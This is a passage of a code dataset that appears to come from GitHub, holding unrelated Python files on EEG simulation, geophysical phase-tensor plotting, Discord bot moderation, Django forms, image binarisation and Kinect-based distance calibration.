a[\"ordenModelo\"],a[\"varianzaRuido\"], t, a[\"fs\"]) \n if (numpy.random.rand() >= 0.7):\n t = (0.0003 * numpy.random.rand()) + 0.0007\n segm_EEGsimul_rand = self.simularSeeg(b[\"coef_AR\"],b[\"ordenModelo\"], b[\"varianzaRuido\"], t, b[\"fs\"])\n EEGsimul_A = numpy.concatenate((EEGsimul_A,segm_EEGsimul_rand))\n EEGsimul1 = numpy.concatenate((EEGsimul1,EEGsimul_A))\n #------------------------------------------------------------------------------------------\n EEGSimulTotal = numpy.concatenate((EEGSimulTotal,segm_EEGsimul,EEGsimul1))\n \n self.EEGSimulTotal = EEGSimulTotal[0:fs*tiempoSimulacion]\n self.tiempo = numpy.linspace(0,(len(EEGSimulTotal)/fs),len(EEGSimulTotal))\n #return EEGSimulTotal,tiempoSimul\n #print(len(EEGSimulTotal))\n \n #tiempoSimul = numpy.linspace(0,((len(EEGSimulTotal)-1)/fs),len(EEGSimulTotal))\n\n### === Metodos convenientes para leer los widgets === ###\n def get(self, objectName):\n return self.findWidget(self.widget, objectName)\n\n def findWidget(self, widget, objectName):\n if widget.objectName == objectName:\n return widget\n else:\n for w in widget.children():\n resulting_widget = self.findWidget(w, objectName)\n if resulting_widget:\n return resulting_widget\n return None\n\nclass PlotsDaubaraLogic:\n def __ini__():\n pass\n\n def cambiarModulo(self, modulo='PlotsDaubara'):\n slicer.util.selectModule(modulo)\n\n def mostrarMensaje(self, mensaje, titulo=\"Mensaje\", duracion=2000):\n \"\"\"Este metódo muestra un mensaje y espera por un tiempo.\n \"\"\"\n print(mensaje)\n self.info = qt.QDialog()\n self.infoLayout = qt.QVBoxLayout()\n self.info.setLayout(self.infoLayout)\n self.info.windowTitle = titulo\n self.label = qt.QLabel(mensaje, self.info)\n self.font = qt.QFont(\"Times\", 18, Bold=True)\n self.label.setFont(self.font)\n #self.label.setStyleSheet(\"color:red\")\n #self.label.setFixedSize(500,120)\n self.infoLayout.addWidget(self.label)\n qt.QTimer.singleShot(duracion, self.info.close)\n self.info.exec_()\n","repo_name":"jhonj624/PlotsDaubara","sub_path":"PlotsDaubara.py","file_name":"PlotsDaubara.py","file_ext":"py","file_size_in_byte":14931,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"69935330163","text":"import numpy as np\nimport pyMT.data_structures as WSDS\nimport matplotlib.pyplot as plt\nfrom matplotlib.figure import Figure\nfrom pyMT.e_colours import colourmaps as cm\nimport pyMT.utils as utils\nimport pyMT.gplot as gplot\nfrom copy import deepcopy\nfrom scipy.spatial.distance import euclidean\n\n\ncmap = cm.jet()\n\n\ndef normalize_ellipse(phi):\n phi_min = abs(phi.phi_min)\n phi_max = abs(phi.phi_max)\n phi_min, phi_max = utils.normalize([phi_min, phi_max])\n return phi_min, phi_max\n\n\ndef plot_ellipse(data, fill_param):\n ells = []\n # data.locations = data.get_locs(mode='latlong')\n for site_name in data.site_names:\n site = data.sites[site_name]\n jx = np.cos(np.arange(0, 2 * np.pi, np.pi / 30))\n jy = np.sin(np.arange(0, 2 * np.pi, np.pi / 30))\n phi_x = site.phase_tensors[-6].phi[1, 1] * jx + site.phase_tensors[-6].phi[1, 0] * jy\n phi_y = site.phase_tensors[-6].phi[0, 1] * jx + site.phase_tensors[-6].phi[0, 0] * jy\n # radii = np.sqrt(phi_x ** 2 + phi_y ** 2)\n # phi_min, phi_max = [np.min(radii), np.max(radii)]\n # phi_min, phi_max = [phi_min / phi_max, 1]\n ells.append([site.locations['Y'] / 1000 - phi_x / site.phase_tensors[-6].phi_max,\n site.locations['X'] / 1000 - phi_y / site.phase_tensors[-6].phi_max])\n # ells.append(Ellipse(xy=(site.locations['Y'], site.locations['X']),\n # width=phi_max * 1000,\n # height=phi_min * 1000,\n # angle=90 - np.rad2deg(site.phase_tensors[-6].azimuth)))\n # print([phi_min, phi_max])\n # print(site.phase_tensors[-6].azimuth)\n fig = Figure()\n ax = fig.add_subplot(111, aspect='equal')\n vals = np.array([getattr(data.sites[site].phase_tensors[-6], fill_param) for site in data.site_names])\n vals = np.rad2deg(np.arctan(vals))\n norm_vals = utils.normalize(vals, lower=0, upper=90, explicit_bounds=True)\n for ii, e in enumerate(ells):\n # ax.add_artist(e)\n ax.fill(e[0], e[1], color=cmap(norm_vals[ii]))\n ax.annotate(data.site_names[ii][-3:], xy=(e[0][0], e[1][0]))\n # e.set_facecolor(cmap(norm_vals[ii]))\n # e.set_clip_box(ax.bbox)\n fake_im = ax.imshow(np.tile(np.arange(90), [2, 1]), cmap=cmap)\n fake_im.set_visible(False)\n fake_im.colorbar()\n ax.set_xlim(min(data.locations[:, 1] / 1000) - 5,\n max(data.locations[:, 1] / 1000) + 5)\n ax.set_ylim(min(data.locations[:, 0] / 1000) - 5,\n max(data.locations[:, 0] / 1000) + 5)\n ax.set_aspect('equal')\n\n # cb = ax.colorbar(cmap)\n # ax.set_xlim(-60000000, 10000000)\n # ax.set_ylim(-10000000, 10000000)\n return ells, vals, norm_vals\n\n\nif __name__ == '__main__':\n # local_path = 'C:/Users/eroots'\n local_path = 'E:/phd/Nextcloud/'\n # filename = local_path + 'data/Regions/MetalEarth/AG/AG_plotset.dat'\n # listfile = local_path + 'data/Regions/MetalEarth/j2/upper_abitibi_hex.lst'\n # out_path = local_path + 'Documents/ME_transects/Upper_Abitibi/Paper/RoughFigures/PT/phi2_betaBack/betaCircle/'\n filename = local_path + 'data/Regions/MetalEarth/wst/fullmantle/cull/Z/ZK/wst_cullmantle3_LAMBERT_ZK_removed.dat'\n listfile = local_path + 'data/Regions/MetalEarth/wst/j2/mantle/fullrun/wst_cullmantle.lst'\n out_path = 'E:/phd/NextCloud/Documents/ME_Transects/wst/PTs/by_period/pt_only/phi2/'\n # filename = local_path + 'data/Regions/snorcle/j2/2020-collation-ian/grid_north.lst'\n # listfile = local_path + 'data/Regions/snorcle/j2/2020-collation-ian/grid_north.lst'\n # out_path = local_path + 'Documents/ME_transects/Upper_Abitibi/Paper/RoughFigures/PT/phi2_betaBack/betaCircle/'\n # jpg_file_name = local_path + 'ArcMap/AG/cio_georeferenced.jpg'\n # jpg_file_name = 'E:/phd/NextCloud/data/ArcMap/WST/WSBoundaries_Lambert_wMCR.jpg'\n jpg_file_name = ''\n out_file = 'wst_PT-phi2_'\n ext = ['.png', '.svg']\n dpi = 150\n padding = 20\n save_fig = 1\n bostick_depth = None\n cutoff_distance = 3500\n remove_close_sites = 0\n # fill_param = ['phi_2', 'beta']\n # fill_param = ['phi_split_pt', None]\n fill_param = ['phi_2', None]\n data = WSDS.Data(filename, listfile=listfile)\n raw = WSDS.RawData(listfile)\n # data = deepcopy(raw)\n # data.locations = rawdata.get_locs(mode='latlong')\n freq_skip = 0\n\n all_sites = deepcopy(data.site_names)\n # Remove redunantly close points\n if remove_close_sites:\n for ii, site1 in enumerate(data.site_names):\n for jj, site2 in enumerate(data.site_names):\n dist = euclidean((data.locations[ii, 1], data.locations[ii, 0]),\n (data.locations[jj, 1], data.locations[jj, 0]))\n if dist < cutoff_distance and site1 in all_sites and (site1 != site2):\n if site2 in all_sites:\n all_sites.remove(site2)\n rm_sites = [site for site in data.site_names if site not in all_sites]\n # rm_sites = [site for site in data.site_names[2:]]\n data.remove_sites(sites=rm_sites)\n raw.remove_sites(sites=rm_sites)\n raw.locations = raw.get_locs(mode='lambert')\n data.locations = raw.locations\n # for ii in range(len(raw.locations)):\n # lon, lat = utils.project((raw.locations[ii, 1], raw.locations[ii, 0]), zone=17, letter='U')[2:]\n # raw.locations[ii, 1], raw.locations[ii, 0] = lon, lat\n # data.locations = raw.locations / 1000\n \n if jpg_file_name:\n im = plt.imread(jpg_file_name)\n with open(jpg_file_name[:-3] + 'jgw', 'r') as f:\n xsize = float(f.readline())\n dummy = f.readline()\n dummy = f.readline()\n ysize = 1 * float(f.readline())\n x1 = float(f.readline())\n y2 = float(f.readline())\n x2 = x1 + xsize * im.shape[1]\n y1 = y2 + ysize * im.shape[0]\n extents = [x1, x2, y1, y2]\n\n fig = plt.figure(figsize=(16, 10))\n ax = fig.add_subplot(111)\n MV = gplot.MapView(fig=fig)\n MV.window['figure'] = fig\n MV.window['axes'] = [ax]\n MV.colourmap = 'turbo'\n MV.phase_cax = [30, 90]\n MV.skew_cax = [-15, 15]\n MV.diff_cax = [-40, 40]\n # MV.interpolant = 'cubic'\n # MV.colourmap = 'bwr'\n # MV.colourmap = 'greys_r'\n MV.site_data['data'] = data\n MV.site_data['raw_data'] = raw\n MV.site_names = data.site_names\n MV.padding_scale = 10\n MV.pt_scale = .75\n MV.min_pt_ratio = 0.3\n MV.pt_ratio_cutoff = 0.01\n MV.phase_error_tol = 1000\n MV.rho_error_tol = 1000\n MV.include_outliers = True\n MV.allowed_std = 20\n MV.lut = 16\n # # MV.site_locations['generic'] = MV.get_locations(sites=MV.generic_sites)\n # MV.site_locations['active'] = MV.get_locations(\n # sites=MV.active_sites)\n MV.site_locations['all'] = data.locations\n first_time = 0\n # for ii in range(len(data.periods)):\n for ii in range(data.NP):\n # for ii in range(0, len(data.periods), freq_skip + 1):\n # for ii in [0]:\n # for ii in range(len(data.periods)): \n if not first_time:\n MV.window['figure'] = plt.figure(figsize=(16, 10))\n MV.window['axes'] = [MV.window['figure'].add_subplot(111)]\n else:\n first_time = 1\n # period = data.sites[data.site_names[0]].periods[ii]\n period = data.periods[ii]\n # if period < 1:\n # period = -1 / period\n period = str(int(period))\n if jpg_file_name:\n MV.plot_image(im, extents)\n # MV.plot_phase_tensor(data_type='data', normalize=True,\n # fill_param=fill_param[0], period_idx=ii)\n if (fill_param[0] != fill_param[1]) and fill_param[1]:\n two_param = 1\n # MV.use_colourbar = False\n # MV.colourmap = 'Reds'\n # MV.lut = 7\n # MV.plan_pseudosection(data_type='data', fill_param='beta',\n # n_interp=200, period_idx=ii)\n MV.use_colourbar = True\n # MV.lut = 32\n MV.colourmap = 'bwr'\n MV.min_pt_ratio = 1\n MV.pt_scale = 1.5\n MV.ellipse_linewidth = 0\n MV.plot_phase_tensor(data_type='data', normalize=True,\n fill_param=fill_param[1], period_idx=ii,\n bostick_depth=bostick_depth)\n # MV.colourmap = 'turbo'\n # MV.ellipse_linewidth = 1\n # MV.min_pt_ratio = 0.3\n # MV.pt_scale = 1.\n MV.plot_phase_tensor(data_type='data', normalize=True,\n fill_param=fill_param[0], period_idx=ii,\n bostick_depth=bostick_depth)\n # MV.plot_phase_bar(data_type='data', normalize=True,\n # fill_param='beta', period_idx=ii)\n else:\n two_param = 0\n MV.plot_phase_tensor(data_type='data', normalize=True,\n fill_param=fill_param[0], period_idx=ii,\n bostick_depth=bostick_depth)\n # MV.plot_phase_bar2(data_type='data', normalize=True,\n # fill_param='phi_min', period_idx=ii)\n MV.set_axis_limits(bounds=[min(data.locations[:, 1]) - padding,\n max(data.locations[:, 1]) + padding,\n min(data.locations[:, 0]) - padding,\n max(data.locations[:, 0]) + padding])\n MV.window['axes'][0].set_aspect(1)\n MV.window['axes'][0].set_xlabel('Easting (m)', fontsize=14)\n MV.window['axes'][0].set_ylabel('Northing (m)', fontsize=14)\n if not two_param:\n label = MV.get_label(fill_param[0])\n MV.window['colorbar'].set_label(label + r' ($^{\\circ}$)',\n rotation=270,\n labelpad=20,\n fontsize=18)\n caxes = [MV.window['colorbar'].ax]\n else:\n cax1 = MV.window['colorbar'].ax\n pos = MV.window['colorbar'].ax.get_position()\n cax1.set_aspect('auto')\n cax2 = MV.window['colorbar'].ax.twinx()\n # MV.window['colorbar'].ax.yaxis.set_label_position('left')\n if fill_param[1].lower() == 'beta':\n cax2.set_ylim([-10, 10])\n newlabel = [str(x) for x in range(-10, 12, 2)]\n cax2.set_yticks(range(-10, 12, 2))\n cax2.set_yticklabels(newlabel)\n elif fill_param[1].lower() == 'absbeta':\n cax2.set_ylim([0, 10])\n newlabel = [str(x) for x in range(0, 11, 1)]\n cax2.set_yticks(range(0, 11, 1))\n cax2.set_yticklabels(newlabel)\n pos.x0 += 0.05\n pos.x1 += 0.05\n cax1.set_position(pos)\n cax2.set_position(pos)\n label = MV.get_label(fill_param[0])\n cax1.set_ylabel(label + r' ($^{\\circ}$)', fontsize=18)\n cax1.yaxis.set_ticks_position('right')\n cax1.yaxis.set_label_position('right')\n cax2.yaxis.set_ticks_position('left')\n cax2.yaxis.set_label_position('left')\n label = MV.get_label(fill_param[1])\n cax2.set_ylabel(label + r' ($^{\\circ}$)', fontsize=18)\n caxes = [cax1, cax2]\n MV.window['axes'][0].set_title('Period: {0:.5g} s'.format(data.sites[data.site_names[0]].periods[ii]))\n # MV.window['axes'][0].set_title('NB Depth: {0:.5g} s'.format(bostick_depth))\n # ells, vals, norm_vals = plot_ellipse(data, fill_param='phi_max')\n if save_fig:\n for file_format in ext:\n plt.savefig(out_path + out_file + 'idx' + str(ii) + '_p' + period + file_format, dpi=dpi,\n transparent=True)\n plt.close('all')\n MV.window['colorbar'] = None\n # ax.clear()\n\n # for x in caxes:\n # x.clear()\n else:\n plt.show()\n","repo_name":"eroots/pyMT","sub_path":"pyMT/scripts/phase_tensor_map.py","file_name":"phase_tensor_map.py","file_ext":"py","file_size_in_byte":12071,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"75"} +{"seq_id":"12573971165","text":"import arrow\nimport discord\n\nfrom sigma.core.mechanics.incident import get_incident_core\nfrom sigma.core.utilities.event_logging import log_event\n\n\nasync def notify(pld, target, verb, action):\n \"\"\"\n Notifies the offender of punishment via direct message.\n :type pld: sigma.core.mechanics.payload.CommandPayload\n :type target: discord.Member\n :type verb: str\n :type action: str\n \"\"\"\n guild_icon = str(pld.msg.guild.icon.url) if pld.msg.guild.icon else None\n to_target = discord.Embed(color=0x696969)\n to_target.add_field(name=f'🔨 You have been {action}.', value='Reason: Accruing too many warnings.')\n to_target.set_footer(text=f'{verb.title()}: {pld.msg.guild.name}.', icon_url=guild_icon)\n try:\n await target.send(embed=to_target)\n except (discord.Forbidden, discord.HTTPException):\n pass\n\n\nasync def make_incident(db, pld, trg, action):\n \"\"\"\n Makes and reports an incident for an Auto-Punishment.\n :type db: sigma.core.mechanics.database.Database\n :type pld: sigma.core.mechanics.payload.CommandPayload\n :type trg: discord.Member\n :type action: str\n \"\"\"\n icore = get_incident_core(db)\n incident = icore.generate(action)\n incident.set_location(pld.msg.guild)\n incident.set_moderator(pld.msg.author)\n incident.set_target(trg)\n incident.set_reason('Auto-Punished by Sigma')\n await icore.save(incident)\n icon = '🔊' if 'un' in action else '🔇'\n incident_embed = incident.to_embed(icon, 0x696969)\n await icore.report(pld.msg.guild, incident_embed)\n\n\nasync def auto_textmute(cmd, pld, target):\n \"\"\"\n Auto-Textmutes a user and logs it appropriately.\n :type cmd: sigma.core.mechanics.command.SigmaCommand\n :type pld: sigma.core.mechanics.payload.CommandPayload\n :type target: discord.Member\n \"\"\"\n mute_list = pld.settings.get('muted_users') or []\n if target.id not in mute_list:\n await notify(pld, target, 'on', 'text-muted')\n mute_list.append(target.id)\n await cmd.db.set_guild_settings(pld.msg.guild.id, 'muted_users', mute_list)\n\n # importing locally to avoid function name confusion/overwrites\n from sigma.modules.moderation.messages.textmute import generate_log_embed\n # spoof the message author as Sigma (feels wrong but hey, it works)\n pld.msg.author = pld.msg.guild.me\n log_embed = generate_log_embed(pld.msg, target, 'Auto-Punished by Sigma')\n await log_event(cmd.bot, pld.settings, log_embed, 'log_mutes')\n\n\nasync def auto_hardmute(cmd, pld, target):\n \"\"\"\n Auto-Hardmutes a user and logs it appropriately.\n :type cmd: sigma.core.mechanics.command.SigmaCommand\n :type pld: sigma.core.mechanics.payload.CommandPayload\n :type target: discord.Member\n \"\"\"\n await notify(pld, target, 'on', 'hard-muted')\n for channel in pld.msg.guild.channels:\n if isinstance(channel, discord.TextChannel) or isinstance(channel, discord.CategoryChannel):\n try:\n await channel.set_permissions(target, send_messages=False, add_reactions=False)\n except (discord.Forbidden, discord.NotFound):\n pass\n # importing locally to avoid function name confusion/overwrites\n from sigma.modules.moderation.punishments.hardmute import generate_log_embed\n # spoof the message author as Sigma (feels wrong but hey, it works)\n pld.msg.author = pld.msg.guild.me\n log_embed = generate_log_embed(pld.msg, target, 'Auto-Punished by Sigma')\n await log_event(cmd.bot, pld.settings, log_embed, 'log_mutes')\n\n\nasync def auto_kick(cmd, pld, target):\n \"\"\"\n Auto-Kicks a user and logs it appropriately.\n :type cmd: sigma.core.mechanics.command.SigmaCommand\n :type pld: sigma.core.mechanics.payload.CommandPayload\n :type target: discord.Member\n \"\"\"\n await notify(pld, target, 'from', 'kicked')\n await target.kick(reason='Auto-Punished by Sigma')\n # importing locally to avoid function name confusion/overwrites\n from sigma.modules.moderation.punishments.kick import generate_log_embed\n # spoof the message author as Sigma (feels wrong but hey, it works)\n pld.msg.author = pld.msg.guild.me\n log_embed = generate_log_embed(pld.msg, target, 'Auto-Punished by Sigma')\n await log_event(cmd.bot, pld.settings, log_embed, 'log_kicks')\n\n\nasync def auto_softban(cmd, pld, target):\n \"\"\"\n Auto-Softbans a user and logs it appropriately.\n :type cmd: sigma.core.mechanics.command.SigmaCommand\n :type pld: sigma.core.mechanics.payload.CommandPayload\n :type target: discord.Member\n \"\"\"\n await notify(pld, target, 'from', 'soft-banned')\n await target.ban(reason='Auto-Punished by Sigma', delete_message_days=1)\n await target.unban()\n # importing locally to avoid function name confusion/overwrites\n from sigma.modules.moderation.punishments.ban import generate_log_embed\n # spoof the message author as Sigma (feels wrong but hey, it works)\n pld.msg.author = pld.msg.guild.me\n log_embed = generate_log_embed(pld.msg, target, 'Auto-Punished by Sigma')\n await log_event(cmd.bot, pld.settings, log_embed, 'log_kicks')\n\n\nasync def auto_ban(cmd, pld, target):\n \"\"\"\n Auto-Bans a user and logs it appropriately.\n :type cmd: sigma.core.mechanics.command.SigmaCommand\n :type pld: sigma.core.mechanics.payload.CommandPayload\n :type target: discord.Member\n \"\"\"\n await notify(pld, target, 'from', 'banned')\n await target.ban(reason='Auto-Punished by Sigma', delete_message_days=1)\n # importing locally to avoid function name confusion/overwrites\n from sigma.modules.moderation.punishments.ban import generate_log_embed\n # spoof the message author as Sigma (feels wrong but hey, it works)\n pld.msg.author = pld.msg.guild.me\n log_embed = generate_log_embed(pld.msg, target, 'Auto-Punished by Sigma')\n await log_event(cmd.bot, pld.settings, log_embed, 'log_kicks')\n\n\nasync def auto_punish(cmd, pld, target, action, duration):\n \"\"\"\n Auto-Punishes a user in accordance with the guild's settings.\n :type cmd: sigma.core.mechanics.command.SigmaCommand\n :type pld: sigma.core.mechanics.payload.CommandPayload\n :type target: discord.Member\n :type action: str\n :type duration: int or None\n \"\"\"\n if pld.msg.guild:\n await make_incident(cmd.db, pld, target, action)\n action_funcs = {\n 'textmute': auto_textmute,\n 'hardmute': auto_hardmute,\n 'kick': auto_kick,\n 'softban': auto_softban,\n 'ban': auto_ban\n }\n action_func = action_funcs.get(action)\n await action_func(cmd, pld, target)\n if duration:\n endstamp = arrow.get(arrow.utcnow().int_timestamp + duration).int_timestamp\n doc_data = {'server_id': pld.msg.guild.id, 'user_id': target.id, 'time': endstamp}\n await cmd.db[cmd.db.db_nam][f'{action.title()}ClockworkDocs'].insert_one(doc_data)\n","repo_name":"lu-ci/apex-sigma-core","sub_path":"sigma/modules/moderation/punishments/auto_punish/auto_punish_mechanics.py","file_name":"auto_punish_mechanics.py","file_ext":"py","file_size_in_byte":6951,"program_lang":"python","lang":"en","doc_type":"code","stars":24,"dataset":"github-code","pt":"75"} +{"seq_id":"4544237775","text":"def solution(scores):\n answer = ''\n \n num = 0\n for i in zip(*scores):\n i = list(i)\n student = len(i)\n if (i[num] == max(i) and i.count(max(i)) == 1) or (i[num] == min(i) and i.count(min(i)) == 1):\n i[num] = 0\n student -= 1\n num += 1\n \n avg = sum(i) / student\n if avg >= 90:\n answer += 'A'\n elif avg >= 80:\n answer += 'B'\n elif avg >= 70:\n answer += 'C'\n elif avg >= 50:\n answer += 'D'\n else:\n answer += 'F'\n \n return answer\n","repo_name":"jooseop/coding-test","sub_path":"prg_상호평가.py","file_name":"prg_상호평가.py","file_ext":"py","file_size_in_byte":608,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"28767095970","text":"#!/usr/bin/env python\nimport sys\n\ndef main(args):\n output = args[1]\n input = args[2:]\n outfd = open(output, 'w')\n outfd.write(';; -*- scheme -*-\\n')\n outfd.write(';; THIS FILE IS GENERATED - DO NOT EDIT\\n')\n for filename in input:\n outfd.write('(include \"%s\")\\n' % filename)\n outfd.close()\n\n return 0\n\nif __name__ == '__main__':\n sys.exit(main(sys.argv))\n","repo_name":"chriskmanx/qmole","sub_path":"QMOLEDEV/pygobject-2.16.1/codegen/createdefs.py","file_name":"createdefs.py","file_ext":"py","file_size_in_byte":389,"program_lang":"python","lang":"en","doc_type":"code","stars":128,"dataset":"github-code","pt":"75"} +{"seq_id":"22087131882","text":"\nfrom globalconfig import *\nfrom DBatom import *\nfrom math import ceil\n\n\ndeletecollection(COOPPLUSDB, VCALLSITE+\"_mozilla_only\")\niwcl, iwclient = getdbhandler(COOPPLUSDB, VCALLSITE+\"_4\")\ncl, clclient = getdbhandler(COOPPLUSDB, VCALLSITE+\"_mozilla_only\")\n\n\ndeletecollection(COOPPLUSDB, VMETHOD_TO_AN+\"_mozilla_only\")\nvmcl, vmclclient = getdbhandler(COOPPLUSDB, VMETHOD_TO_AN+\"_mozilla_only\")\nvm3cl, vm3clclient = getdbhandler(COOPPLUSDB, VMETHOD_TO_AN+\"_3\")\n\nmypip = [\n {\"$group\": {\n \"_id\": \"$_id\"\n }}\n]\n\nre = iwcl.aggregate(mypip, allowDiskUse=True, maxTimeMS=9000000)\ncontentlist = []\nfor i in re:\n contentlist.append(i[\"_id\"])\n\n\nfor x in contentlist:\n fi = {\n \"_id\": x,\n }\n doc = iwcl.find_one(fi)\n ifn = doc[\"interface_classname\"]\n tiaojian2=len(doc[\"colordict\"].keys())>=2\n if ifn.find(\"mozilla::dom\") != -1 and tiaojian2:\n cl.insert(doc, check_keys=False)\n\n # print doc\n\n\n\n\n\n\n\n\nre = cl.aggregate(mypip, allowDiskUse=True, maxTimeMS=9000000)\ncontentlist = []\nfor i in re:\n contentlist.append(i[\"_id\"])\n\n\nfor x in contentlist:\n fi = {\n \"_id\": x,\n }\n doc=cl.find_one(fi)\n vmethodid=doc[\"vmethodid\"]\n fi ={\n \"_id\":vmethodid\n }\n doc=vm3cl.find_one(fi)\n vmcl.insert(doc,check_keys=False)\n \n","repo_name":"cooplus-vscape/vscape_analyzer","sub_path":"codes/filter_vcallsite_mozilladom_only.py","file_name":"filter_vcallsite_mozilladom_only.py","file_ext":"py","file_size_in_byte":1285,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"26676288018","text":"from django.forms import ModelForm\nfrom .models import Question, Answer, Category\n\nfrom crispy_forms.helper import FormHelper\nfrom crispy_forms.layout import Submit, Layout, Field\n\n\nclass AskForm(ModelForm):\n \"\"\"this is for creating new questions. Made it with ModelForm\"\"\"\n\n class Meta:\n \"\"\"let's get field names from the model\"\"\"\n model = Question\n fields = ['title', 'text', 'author', 'category']\n exclude = ('author',) # need to exclude this to pre-save form\n\n\nclass AnswerForm(ModelForm):\n \"\"\"this is an answer form\"\"\"\n\n def __init__(self, *args, **kwargs):\n \"\"\"here I am using the FormHelper class and its attributes to make the form look nicer\"\"\"\n\n super(AnswerForm, self).__init__(*args, **kwargs)\n self.helper = FormHelper(self)\n self.helper.form_class = \"form-control\"\n self.helper.form_id = 'id-answerForm'\n self.helper.layout = Layout(\n Field('text', style=\"height:15ch\"),\n )\n\n self.helper.add_input(Submit('submit', 'Add Answer'))\n self.helper.form_show_labels = False # don't want it to draw the actual model field name\n\n class Meta:\n model = Answer\n fields = ['text']\n exclude = ('author', 'question')\n\n\nclass CategoryForm(ModelForm):\n\n class Meta:\n model = Category\n fields = ['name', 'description']\n","repo_name":"rumatveev/ask","sub_path":"qa/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":1373,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"75"} +{"seq_id":"71167086001","text":"\"\"\"\nAuthor: SAAL Fatma\n\n\"\"\"\nimport sys\nfrom PIL import Image\nimport colors\nimport mathtools\ndef binarize(im,treeshold):\n \"\"\" This function is use to put a colour image to a white and black image\n :param im : Image to convert\n :type im: str\n :param treeshold:value to compare with the somme of value r,g,b\n :type treeshold: int\n \"\"\"\n image=Image.open(im)\n im2=image.copy()\n xsize,ysize=im2.size\n for x in range(xsize):\n for y in range(ysize):\n couleur=im2.getpixel((x,y))\n r,g,b=couleur\n somme=r+g+b\n if somme<=treeshold :\n im2.putpixel((x,y),colors.black)\n else:\n im2.putpixel((x,y),colors.white)\n\n\n return im2\n\n\"\"\"\ndef voisin(im,pix):\n\"\"\"\n\"\"\"This function is use to determinate the neighberhood of pix\n :param im : an image\n :type im : image\n :param pix : a pixel\n :type pix : tuple\n :Example:\n \"\"\"\n\"\"\"\n voisin=[]\n size=im.size\n\n voisin.append((pix[0]-1,pix[1]))\n voisin.append((pix[0],pix[1]-1))\n voisin.append((pix[0],pix[1]+1))\n voisin.append((pix[0]+1,pix[1]))\n liste=[]\n for elt in voisin:\n if 0<=elt[0]= lower[0]) & (img[:,:,0] <= upper[0]) & (img[:,:,1] >= lower[1]) & (img[:,:,1] <= upper[1]) & (img[:,:,2] >= lower[2]) & (img[:,:,2] <= upper[2])\n\nif __name__ == \"__main__\":\n \n f = open(f\"calibration-{time.time()}.csv\", \"w\")\n\n # Initialize the library, if the library is not found, add the library path as argument\n pykinect.initialize_libraries()\n\n # Modify camera configuration\n device_config = pykinect.default_configuration\n device_config.color_format = pykinect.K4A_IMAGE_FORMAT_COLOR_BGRA32\n device_config.color_resolution = pykinect.K4A_COLOR_RESOLUTION_720P\n device_config.depth_mode = pykinect.K4A_DEPTH_MODE_NFOV_UNBINNED\n # print(device_config)\n\n # Start device\n device = pykinect.start_device(config=device_config)\n\n # Initialize the Open3d visualizer\n #open3dVisualizer = Open3dVisualizer()\n\n #cv2.namedWindow('Transformed color',cv2.WINDOW_NORMAL)\n last_distances = []\n \n while True:\n\n # Get capture\n capture = device.update()\n data_time = time.time()\n\n # Get the 3D point cloud\n ret_point, points = capture.get_transformed_pointcloud()\n\n # Get the color image in the depth camera axis\n ret_color, color_image = capture.get_color_image()\n\n if not ret_color or not ret_point:\n continue\n\n # find red points in the image using hsv\n hsv_image = cv2.cvtColor(color_image, cv2.COLOR_BGR2HSV)\n #redLower = (0, 0, 40, 255)\n #redUpper = (120, 120, 255, 255)\n #print(min(hsv_image[:,:,0].flatten()), max(hsv_image[:,:,1].flatten()), max(hsv_image[:,:,2].flatten()))\n redLower = (0, 114, 114)\n redUpper = (5, 255, 255)\n mask = cv2.inRange(hsv_image, redLower, redUpper)\n redLower2 = (175, 114, 114)\n redUpper2 = (180, 255, 255)\n mask2 = cv2.inRange(hsv_image, redLower2, redUpper2)\n mask = mask | mask2\n \n mask = np.array(mask, dtype=np.uint8)\n mask = cv2.erode(mask, None, iterations=1)\n mask = cv2.dilate(mask, None, iterations=1)\n \n # filter all with to little red to grey\n\n\n # remove all colors but red\n output = cv2.bitwise_and(color_image, color_image, mask=mask)\n\n cv2.imshow('Red Mask', output)\n cv2.imshow('Color Img', color_image)\n # red channel mask\n \n redImage = color_image.copy()\n redImage[:,:,0] = 0\n redImage[:,:,1] = 0\n redImage[:,:,2] = redImage[:,:,2]\n cv2.imshow('Red channel', redImage)\n \n # get point cloud data from red points\n redPoints = points[mask.flatten()==255]\n nonZero = np.array([point for point in redPoints if point[0] != 0 and point[1] != 0 and point[2] != 0])\n \n # Do full distance calc, discard low and average high values\n if nonZero.shape[0] > 300:\n print(\"Distrubed\")\n else:\n count = 0 \n distances = []\n for i in range(nonZero.shape[0]):\n for j in range(i+1, nonZero.shape[0]):\n distance = np.linalg.norm(nonZero[i]-nonZero[j])\n if distance > 20:\n count += 1\n distances.append(distance)\n \n #print(distances)\n dist_std = np.std(distances)\n dist_mean = np.mean(distances)\n distances = [dist for dist in distances if dist > dist_mean - dist_std]\n \n \n if len(distances):\n last_distances += [np.mean(distances)]\n\n if len(last_distances) > 20: \n last_distances = last_distances[1:]\n \n # filter min and max\n dist_std = np.std(last_distances)\n dist_mean = np.mean(last_distances)\n considered_distances = [dist for dist in last_distances if dist > dist_mean - dist_std and dist < dist_mean + dist_std]\n distance_mean = np.mean(distances)\n print(distance_mean)\n f.write(f\"{data_time},{distance_mean}\\n\")\n \n # Press q key to stop\n if cv2.waitKey(1) == ord('q'): \n break\n f.close()","repo_name":"UHHRobotics22-23/hardware_design","sub_path":"hardware_calibration/hardware_calibration.py","file_name":"hardware_calibration.py","file_ext":"py","file_size_in_byte":4408,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"21072455883","text":"import json\nfrom pathlib import Path\nfrom typing import Union, Optional, Literal\n\nimport numpy as np\nimport pandas as pd\n\nfrom Bio import pairwise2\nfrom Bio.Align import substitution_matrices\n\nfrom config.config import config as mConfig\nfrom core import generator as cGenerator\nfrom core import method as cMethod\n#endregion ----------------------------------------------------------> Imports\n\n\n#region -------------------------------------------------------------> Methods\ndef ReadJSON(fileP:Union[Path, str]) -> dict:\n \"\"\"Reads a file with json format.\n\n Parameters\n ----------\n fileP: Path, str\n Path to the file.\n\n Return\n ------\n dict:\n Data in the file.\n \"\"\"\n # No test\n #region -------------------------------------------------------> Read file\n with open(fileP, 'r', encoding=\"utf-8\") 